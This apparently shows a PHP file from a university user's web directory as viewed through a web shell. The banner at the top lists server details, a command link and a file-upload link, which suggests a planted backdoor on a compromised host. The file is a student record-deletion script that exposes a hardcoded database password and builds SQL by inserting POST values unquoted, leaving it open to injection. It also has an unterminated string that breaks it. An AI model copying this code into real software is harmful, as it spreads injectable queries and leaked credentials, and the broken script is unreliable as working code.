|
Server IP : 172.16.15.8 / Your IP : 3.144.93.34 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/kakaragiorgis/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<BODY>
<CENTER><h2>Delete Record Results</h2></center>
<hr>
<?php
$Pname = $_POST['Pname'];
$Cname = $_POST['Cname'];
$Link = $_POST['Link'];
$priority = $_POST['priority'];
$host = 'localhost';
$user = 'kakaragiorgis';
$pass = 'cs480';
$database = 'kakaragiorgis';
$connect = mysql_connect($host, $user, $pass);
$table_name = 'Symptom';
$query = "delete from $table_name values where Pname = $Pname and CName = $Cname;
$query1 = "select * from $table_name";
// debug
print "The query is <i> $query </i>";
MYSQL_select_db($database);
$results_id = mysql_query($query, $connect);
$results_id1 = mysql_query($query1, $connect);
if($results_id)
print "Delete Succussful. <P>";
else
print "Delete failed.<P>";
if($results_id1)
{ // display the table
print "<table border=1>";
print "<th>Point Name<th>Chinese Name<th>Link";
while($row=mysql_fetch_row($results_id1))
{ print "<tr>";
foreach ($row as $field) print "<td>$field</td>";
print "</tr>";
}
}
else echo ( "Search failed");
mysql_close($connect);
?>
<a href="projinsert.php">Back to insert a record?.</a><br>
<a href="projdelete.php">Back to delete another record?</a><br>
<a href="projindex.html">Back to the home page.</a>
</BODY>